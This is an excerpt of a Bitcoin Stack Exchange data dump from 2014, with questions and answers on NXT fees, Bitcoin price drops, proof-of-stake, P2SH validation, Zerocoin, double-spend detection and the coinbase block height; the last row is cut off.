  <row Id="30727" PostTypeId="1" AcceptedAnswerId="40912" CreationDate="2014-09-30T19:59:51.747" Score="8" ViewCount="10074" Body="&lt;p&gt;I have an Ethereum wallet and wish to check if some password was used to create it.&lt;br /&gt;&#xA;How this could be done?&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="5935" LastEditDate="2022-10-06T10:09:18.277" LastActivityDate="2022-10-06T10:09:18.277" Title="Check password for ethereum wallet" Tags="|wallet|ethereum|" AnswerCount="4" CommentCount="1" ClosedDate="2022-10-06T13:57:53.847" ContentLicense="CC BY-SA 4.0" />
  <row Id="30728" PostTypeId="1" CreationDate="2014-09-30T20:09:27.997" Score="1" ViewCount="336" Body="&lt;p&gt;What are the main differences from counterparty and NXT asset exchange? I've been testing out the nxt asset exchange using &lt;a href=&quot;http://www.secureae.com&quot; rel=&quot;nofollow&quot;&gt;http://www.secureae.com&lt;/a&gt; and using counterwallet. They both seem to be solid products and they both use a separate coin to do their transactions. What other major factors does one need to know before going with one of these decentralized asset exchanges?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-11-28T18:09:11.397" Title="Main Differences from Counterparty vs NXT Assets Exchange (SecureAE)" Tags="|nxt|decentralized-assets|counterparty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30729" PostTypeId="2" ParentId="30631" CreationDate="2014-09-30T20:15:21.323" Score="1" Body="&lt;p&gt;Currently the minimum transaction fee is 1 NXT. There are talks about lowering the 1nxt fee, to increase the usage of certain nxt services like messaging. It wouldn't be ideal to cost 5-10cents every time you sent a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the fees are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All NXT transactions cost 1 NXT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except for when issuing an Asset, which cost: 1000 NXT - which is about $50 USD which greatly prevents asset spam. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-09-30T20:15:21.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30730" PostTypeId="1" AcceptedAnswerId="30733" CreationDate="2014-09-30T20:24:41.103" Score="5" ViewCount="716" Body="&lt;p&gt;Having seen that BTC was around $600 early summer of 2014 (May-July). It is currently almost 50% of that value. I read many varying reports of the cause of such a big drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone give a list of the main proposed ideas of this big drop in price? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-10-01T07:48:07.923" Title="What are some of the proposed ideas to why the Bitcoin dropped to sub $400 in the end of summer 2014?" Tags="|economic-theory|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30731" PostTypeId="2" ParentId="12952" CreationDate="2014-09-30T20:36:49.110" Score="2" Body="&lt;p&gt;I was having this problem. I updated my client to the newest version (&lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt;) and it solved itself. I think the clients might stop communicating with other clients who don't update. Haven't read that anywhere or anything, just a guess. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The problem has returned, but updating the client is still a good thing to do.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-07T05:58:54.203" LastActivityDate="2014-11-07T05:58:54.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30732" PostTypeId="1" AcceptedAnswerId="30734" CreationDate="2014-09-30T20:45:57.380" Score="4" ViewCount="675" Body="&lt;p&gt;Many people talk about NXT Proof of Stake (PoS) being insecure due to the &quot;nothing at stake&quot; problem. I read up some posts about nothing at stake, but I still do not understand how it works. Can someone explain how the &quot;nothing at stake&quot; works in laymen terms and how it affects Proof of Stake coins like NXT?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-09-30T21:59:27.247" Title="Can someone explain the pitfalls of NXT Proof of Stake's potential issue of &quot;nothing at stake&quot;?" Tags="|nxt|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30733" PostTypeId="2" ParentId="30730" CreationDate="2014-09-30T21:22:16.083" Score="12" Body="&lt;p&gt;Some possible reasons I read:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Merchant adoption through payment processors&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While merchant adoption is growing, it is currently mostly through payment processors, hardly any merchants keep a significant portion of their bitcoin earnings. With the broader selection of things to spend bitcoins on, more people are shopping with bitcoins, yet, not necessarily replenish their holdings. This creates a downward pressure on the markets.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Retailers first, suppliers lagging behind&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And the retailers are right to immediately turn their bitcoin earnings into cash: With the current price downtrend, otherwise they would have lost significant value, more than they could have afforded on their margins. The problem is: Since retailers don't have Bitcoin holdings, I don't think there has been much request for suppliers to accept Bitcoin. – But without suppliers taking Bitcoin, there is no reason for retailers to keep them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stocks are doing very well&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've seen it suggested, that some early adopters with large amounts of bitcoins might be diversifying their holdings into other assets. The stock market is doing pretty well, and there were some interesting Initial Public Offerings recently.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Price is set by exchanges, yet, the big amounts are traded on Over-The-Counter markets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin exchanges are too small a market for the big payment processors to offload their earnings. So, instead, they sell huge amounts directly to interested parties. It has been suggested, that some of those interested parties might be using their freshly acquired bitcoins to push down the price on exchanges, in order to buy more bitcoins cheaply.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;We are still in the correction after the Mt.Gox hype and crash&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some think that we are still in the correction phase after the Mt.Gox hype, seeking the fair price after it was massively overvalued.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Regulatory stance still unclear in many countries&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some suggest that the Bitlicense proposal in NY could be a precedent for other US states to follow suit. Quite a few followers of Bitcoin seem to think that it would be very inhibiting to the adoption of Bitcoin in the US if that were to happen.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining crash&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A lot of people invested a lot of money into mining equipment that is now not earning what they expected, or which they didn't even get. There might be some financial pressure on them to market more of their Bitcoin holdings than they wished in order to pay for their upkeep.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Weak Hands and Impatient Enthusiasts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The falling price is shaking out weak hands. People that bought too high and want to cut their losses. Also, some are gambling to buy back in lower. Some (younger?) enthusiasts might be getting disillusioned, because Bitcoin isn't changing the world fast enough.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Volatility is down, damping speculators enthusiasm&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Volatility had been decreasing for most of the year, making it less attractive for speculators to invest. Apparently, this has changed this week with new record trading volumes on the Chinese exchanges according to &lt;a href=&quot;http://www.coindesk.com/predicting-bitcoins-next-price-rise/&quot;&gt;Daniel Mark Harrison on Coindesk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just some ideas, most is gossip and AFAIK, I'm sure there are plenty more. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-01T05:51:19.170" LastActivityDate="2014-10-01T05:51:19.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30734" PostTypeId="2" ParentId="30732" CreationDate="2014-09-30T21:59:27.247" Score="5" Body="&lt;p&gt;Essentially, PoS' nothing at stake problem is that you don't lose anything by mining. In Bitcoin, you lose the money you spent on energy to power your miners. Thus, in bitcoin mining you want to make sure you are mining on the correct chain all the time so that you have the best possible chance of your solved block being accepted by the network. In PoS coins, for the most part, there is no incentive to just mine on one chain. That is, a rational miner will mine on all chains that he/she knows about, because it doesn't cost them anything to mine on them (just a few CPU cycles) and they maximize their profit by mining on multiple branches. But since everyone mines on multiple branches, no one can come to a consensus! &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-09-30T21:59:27.247" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30737" PostTypeId="1" CreationDate="2014-10-01T05:02:13.850" Score="3" ViewCount="715" Body="&lt;p&gt;What happens if someone maliciously decides to make squillions of transactions on the Bitcoin network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there being two vulnerabilities. Firstly - computation resources used, though this doesn't seem to be a problem, at this stage, given the size of the mining pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also - blowing out the size of the block chain. What if someone were to persist over a year of spamming transactions?&lt;/p&gt;&#xA;" OwnerUserId="6284" LastActivityDate="2014-10-02T20:12:45.913" Title="Is bitcoin vulnerable to a DOS/spam attack?" Tags="|scalability|attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30738" PostTypeId="2" ParentId="23207" CreationDate="2014-10-01T05:24:39.560" Score="3" Body="&lt;p&gt;The answer is simple: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/888&quot; rel=&quot;nofollow&quot;&gt;big-endian architectures are not supported&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T05:24:39.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30739" PostTypeId="1" CreationDate="2014-10-01T06:07:07.677" Score="1" ViewCount="336" Body="&lt;p&gt;Is it any iPhone App that I can use to buy / sell / transfer easily Bitcoin? I want to be able to download from Apple's App Store.&lt;/p&gt;&#xA;" OwnerUserId="19532" LastEditorUserId="5406" LastEditDate="2021-02-22T19:47:57.637" LastActivityDate="2021-02-24T12:52:48.620" Title="iPhone App for Bitcoin trading / transfering?" Tags="|client|mobile|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30740" PostTypeId="1" AcceptedAnswerId="79457" CreationDate="2014-10-01T06:07:54.483" Score="0" ViewCount="367" Body="&lt;p&gt;I've been playing around with Richard Kiss's Pycoin app which is clarifying how P2PK works. I see that the hash160 of the value: &lt;code&gt;(0x04) (x-coordinate) (y-coordinate)&lt;/code&gt; (for an uncompressed Testnet private key in this instance) gives a hash160 value used to prove ownership of the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this detrimental for reuse of private keys &lt;em&gt;if&lt;/em&gt; there is no issue with PRNGs providing low entropy? I understand how the Android bug was exploited (to a degree, it reused &quot;random values&quot;), but I fail to understand why only sharing the hash160 in a single transaction can be maliciously exploited. To clarify, I'm not talking about privacy concerns of tracking addresses through the Blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The vulnerabilities in question (as specified in the answer are related to quantum computing and/or EDCSA weaknesses, neither of which exist)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-03T02:28:29.737" LastActivityDate="2018-09-21T08:39:12.270" Title="How can address' hash160 be used to determine information for malicious purposes? (Ie reusing of the same address)" Tags="|security|address|weaknesses|ripemd160|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30741" PostTypeId="2" ParentId="24456" CreationDate="2014-10-01T06:08:57.163" Score="1" Body="&lt;p&gt;The problem is that you can't broadcast just a signature. You can only broadcast a complete transaction with enough signatures to make it valid. Likewise, there is no way to revoke a signature. The only way to &quot;cancel&quot; a transaction is to broadcast another transaction which spends the same input as the original transaction. After that, there is a chance that the new transaction will be confirmed instead of the old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no point in having 2-of-3 address if there is one person who has 2 keys. That person can spend any money from such address, and the person who has the third key can't spend anything without the other person's assistance. In your scenario, Bob can double-spend his payment before it is confirmed by using both of his keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the problem, you need to use such an address that Alice's signature is &lt;em&gt;required&lt;/em&gt; to spend from it. For example, 2-of-2 address will work. To make sure that Bob can have his money back if the deal doesn't go through, you can use the approach described &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T06:08:57.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30742" PostTypeId="2" ParentId="30739" CreationDate="2014-10-01T06:18:50.423" Score="1" Body="&lt;p&gt;You cannot buy Bitcoin with credit card as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iOS apps are generally limited to either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;HTML5 client (Blockchain.info or GreenAddress.it) &lt;/li&gt;&#xA;&lt;li&gt;a &quot;pure&quot; (ie no website integration) app like BreadWallet, Pheeva&lt;/li&gt;&#xA;&lt;li&gt;A trading app (ANX), Coinbase&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So buying BTC and managing or trading are very distinct functionalities, and you'll likely never find the former because of credit card fraud allowing for untraceable Bitcoins to be purchased. Also, most all purchases of Bitcoin (except OTC or cash LocalBitcoins.com transactions) require ID to allow fiat to BTC conversion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exception I can think of is Coinjar.io which are rolling out a debit card in Australia which can be used like a normal credit card, but automatically debits a linked Coinjar BTC deposit.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-24T15:34:10.067" LastActivityDate="2014-10-24T15:34:10.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30743" PostTypeId="2" ParentId="30721" CreationDate="2014-10-01T06:28:20.803" Score="1" Body="&lt;p&gt;I'm going to answer my own question for those interested in the solution: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Armory and Bitcoin-QT use confusing switches; Armory going for the &lt;code&gt;--flag&lt;/code&gt; while the latter uses the &lt;code&gt;-flag&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A remote Blockchain directory is identified using &lt;code&gt;--Satoshi-datadir=&lt;/code&gt; while &lt;code&gt;-datadir=&lt;/code&gt; is used with Bitcoin-QT&lt;/li&gt;&#xA;&lt;li&gt;Ensuring the Bitcoin.conf file is correct is the main issue. Correct values required are: listen=1, allowip=127.1.1.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-01T06:28:20.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30744" PostTypeId="2" ParentId="28183" CreationDate="2014-10-01T06:29:20.770" Score="4" Body="&lt;p&gt;In Bitcoin, change is a normal output which sends the remaining money to one of your addresses. When creating a transaction with &lt;code&gt;createrawtransaction&lt;/code&gt;, you have to add change output manually (just like any other output), otherwise that money would go to the miners.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T06:29:20.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30746" PostTypeId="2" ParentId="20889" CreationDate="2014-10-01T06:37:16.757" Score="4" Body="&lt;p&gt;The rule that at least one output is required is part of the original code, and changing it would mean a hard fork. There are &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;many good changes&lt;/a&gt; that are possible with a hard fork, but none of them is considered worth the disruption that a hard fork would create. Changing the rules to permit no-output transactions would not even worth a soft fork, since, just as you said, this can be easily circumvented.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T06:37:16.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30748" PostTypeId="2" ParentId="30724" CreationDate="2014-10-01T07:57:09.227" Score="2" Body="&lt;p&gt;One of the problems (or advantages) of Bitcoin is that funds can be traced. Even if each address is used only once, it is possible to link individual transactions to each other similarly to how it is possible to track bank notes by their serial numbers (with the addition that everyone records serial numbers of all the notes they handle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zerocoin solves this problem by providing a new kind of transaction outputs that are not linked to inputs that spend them. Actually, outputs are linked to inputs, but the link is cryptographically obscured, so that an observer can't find which input an output is linked to. However, it is still possible to check that there is only at most one input linked to any particular output, so that double-spends are not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obscure the link, a cryptographic construction is used which is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Zero-knowledge_proof&quot; rel=&quot;nofollow&quot;&gt;zero-knowledge proof&lt;/a&gt;. Zero-knowledge proof is a way to show that something is true without revealing any useful information. For example, a digital signature is a zero-knowledge proof that shows that the signer knows the private key. There is no way, however, to learn the private key from the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proofs used in Zerocoin are more complex. Basically, when generating a Zerocoin, a user picks a random serial number and includes a special irreversible function of that number in the output. When spending, he reveals the number and provides a proof that the number corresponds to one of the outputs. Only one serial number corresponds to each of the outputs, so double-spends are prevented by checking that each serial number is used only once.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T07:57:09.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30749" PostTypeId="2" ParentId="25184" CreationDate="2014-10-01T08:37:37.530" Score="2" Body="&lt;p&gt;Block data is not necessary to check proof of work, or to check that past block headers has not been altered. This is because for a block to pass proof of work check, the hash of its &lt;em&gt;header&lt;/em&gt; must be less than a certain value. So, the header (which is just 80 bytes in Bitcoin) has enough information to check proof of work. Also, each header includes the hash of header of the previous block. So, assuming that the hash function is collision-resistant, it is impossible to modify any of the previous headers without changing the hash of the last header, and it is impossible to change any header while keeping proof of any work done after the corresponding block. The only way to &quot;fake&quot; a mini-blockchain is to outrun the honest miners, which requires an attacker to have comparable amount of hash power.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T08:37:37.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30750" PostTypeId="1" CreationDate="2014-10-01T08:41:40.800" Score="3" ViewCount="259" Body="&lt;p&gt;I would like to accept 0-confirmation bitcoin for very small amounts. I am happy to accept zero-confirmation spends and am aware of the risks. However, the tool needs the ability to &quot;flag&quot; the accepted transaction/s if a double-spend is detected. I can then decide what action to take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to use a centralized third-party tool. I would like to use something locally on the server. It would simply display pre-generated public addresses. No need for private keys and/or seeds to be on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a tool exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19535" LastEditorUserId="5464" LastEditDate="2014-10-01T08:45:28.140" LastActivityDate="2017-02-11T12:24:04.127" Title="Accepting 0-confirmation transactions and detecting double-spends with open source solution" Tags="|transactions|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30751" PostTypeId="2" ParentId="30750" CreationDate="2014-10-01T08:53:46.563" Score="1" Body="&lt;p&gt;You should not interact with bitcoind, because it (current versions at least) filteres double-spend transactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have your own network-sniffer solutution - the program which connects to the network nodes (as many as possible) and listens for &lt;strong&gt;all&lt;/strong&gt; transactions, checking do they have conflicts with particular ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(How much would you pay for such program? Just interesting :) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also not 100% safe solution - a miner can place double-spending transaction in block and mine it himself. Look here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=327767.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=327767.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-01T08:53:46.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30752" PostTypeId="1" CreationDate="2014-10-01T08:55:23.180" Score="2" ViewCount="1303" Body="&lt;p&gt;When I perform a transaction on the blockchain, I can add a message to the transaction, which will then exist forever in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example I wanted to use the blockchain to store digital assets...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this type of information be encrypted and stored as a transaction message, and if so, is there any limit to the message length of a transaction?&lt;/p&gt;&#xA;" OwnerUserId="9342" LastActivityDate="2014-10-01T09:19:42.213" Title="Blockchain transaction message length limit" Tags="|blockchain|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30753" PostTypeId="2" ParentId="30752" CreationDate="2014-10-01T09:19:42.213" Score="2" Body="&lt;p&gt;This message exists only on blockchain.info site. It is not a part of bitcoin protocol. You should not think, that it will exists forever, because blockchain.info is  third-party-service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point your view to a OP_RETURN output scripts. &lt;a href=&quot;http://bitzuma.com/posts/op-return-and-the-future-of-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://bitzuma.com/posts/op-return-and-the-future-of-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-01T09:19:42.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30754" PostTypeId="2" ParentId="20105" CreationDate="2014-10-01T09:48:28.263" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;document&lt;/a&gt; you linked to provides all the information you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, for an output to be recognized as pay-to-scripthash, its scriptPubKey must match the format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 [20-byte-hash-value] OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The scriptSig of the redeeming input is validated using different rules:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Validation fails if there are any operations other than &quot;push data&quot; operations in the scriptSig.&lt;/li&gt;&#xA;  &lt;li&gt;Normal validation is done: an initial stack is created from the signatures and {serialized script}, and the hash of the script is computed and validation fails immediately if it does not match the hash in the outpoint.&lt;/li&gt;&#xA;  &lt;li&gt;{serialized script} is popped off the initial stack, and the transaction is validated again using the popped stack and the deserialized script as the scriptPubKey.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Older clients would accept such inputs, but they would not validate the included script. Therefore, the addition of these rules is a soft fork.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T09:48:28.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30755" PostTypeId="2" ParentId="11980" CreationDate="2014-10-01T10:17:03.280" Score="1" Body="&lt;p&gt;Transactions in forks are not verified completely until the node attempts to switch to that fork. Before that, only those checks are performed that don't depend on previous transactions. In the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fd192f8b4d6db386354dfe635a8a6a105b55de8/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;, there is a function &lt;code&gt;CheckBlock&lt;/code&gt;, which does only some of the checks, and &lt;code&gt;ConnectBlock&lt;/code&gt;, which checks everything. The latter function is called only when the block is about to be accepted into the longest chain, so the hash table of unspent outputs is available.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T10:17:03.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30756" PostTypeId="2" ParentId="13883" CreationDate="2014-10-01T10:57:19.020" Score="6" Body="&lt;p&gt;Bitcoin has a complex &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;scripting system&lt;/a&gt; which can be used to set the conditions under which the money sent by a transaction can be redeemed. For example, it is possible to send bitcoins in such a way that they can be only redeemed by someone who finds a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=293382&quot;&gt;collision for a specific hash function&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, however, bitcoins are sent to a script which requires a signature from a single key to redeem. In this case, the address is the encoded hash of that key. In general, however, not every script corresponds to an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange transactions are transactions which have either input or output scripts not matching any of the predefined patterns for standard scripts. Such transactions must be created manually, but they can contain any script permitted by Bitcoin. So, there are no specific patterns that they follow, but rather there are patterns that they do not follow.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T10:57:19.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30757" PostTypeId="2" ParentId="29911" CreationDate="2014-10-01T13:08:11.643" Score="6" Body="&lt;p&gt;Random reorganizations of length more than 1 are rare. To get a fork of length 1, you need two miners find a winning nonce at nearly the same time. To get a fork of length 2, you need the same (1) happen right after a fork of length 1 and (2) have those miners mine on different sides of the fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, such fork happen once in a while. See &lt;a href=&quot;/a/4638&quot;&gt;this answer&lt;/a&gt; for some statistics. And even longer forks happen due to bugs in Bitcoin code, like &lt;a href=&quot;http://bitcoinmagazine.com/3668/bitcoin-network-shaken-by-blockchain-fork/&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt; in March 2013.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T13:08:11.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30758" PostTypeId="2" ParentId="30740" CreationDate="2014-10-01T14:03:40.217" Score="2" Body="&lt;p&gt;If your PRNGs are good, you don't lose any security by using the same address any number of times. Some websites claim that addresses should not be reused because that will make your bitcoins vulnerable to quantum computers and/or some newly discovered weaknesses in ECDSA. However, both of these scenarios are unrealistic at the moment, and I think that if they &lt;em&gt;do&lt;/em&gt; become realistic, this will be such a big problem for the world's cryptography that you won't be the first victim (unless you are Satoshi Nakamoto).&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T14:03:40.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30759" PostTypeId="2" ParentId="30737" CreationDate="2014-10-01T14:34:27.903" Score="3" Body="&lt;p&gt;That's what transaction fees are for. You have to pay a fee for every transaction you want to have included in the block chain, especially if your transaction is for a small amount or if there are many transactions already waiting in the transaction pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the size of Bitcoin blocks is limited. There is also a limit on the number of signature operations in a block. The most an attacker can do is to raise transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-01T14:34:27.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30763" PostTypeId="1" CreationDate="2014-10-01T19:24:36.483" Score="1" ViewCount="154" Body="&lt;p&gt;For example patients get private key, providers get public key?&lt;/p&gt;&#xA;" OwnerUserId="19545" LastActivityDate="2014-10-02T07:03:29.090" Title="Can decentralized blockchain technology like bitcoin be used to store medical information?" Tags="|blockchain|" AnswerCount="2" CommentCount="2" ClosedDate="2014-10-02T20:12:25.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="30764" PostTypeId="1" AcceptedAnswerId="30780" CreationDate="2014-10-01T20:33:58.117" Score="7" ViewCount="3221" Body="&lt;p&gt;While reading bitcoin source I found this short comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Height first in coinbase required for block.version=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(From &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp#L338&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp#L338&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this is required? Does it prevent some misuse or attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that this change was introduced in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP-0034&lt;/a&gt;. In relevant &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1526&quot; rel=&quot;noreferrer&quot;&gt;pull request&lt;/a&gt; it is justified by following points:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Putting the height in the coinbase is desired for at least two reasons:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;It guarantees that every subsequent block and transaction hash is unique.&lt;/li&gt;&#xA;  &lt;li&gt;It can be used to better reason about plausible difficulty for not-yet-connected blocks.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But for me this explains nothing: I don't see how adding height &lt;em&gt;guarantees&lt;/em&gt; unique block hashes and I don't understand what is &quot;plausible difficulty for not-yet-connected blocks&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="2306" LastEditDate="2014-12-13T06:03:13.763" LastActivityDate="2022-02-17T05:45:26.570" Title="Why block height is required in coinbase?" Tags="|protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" 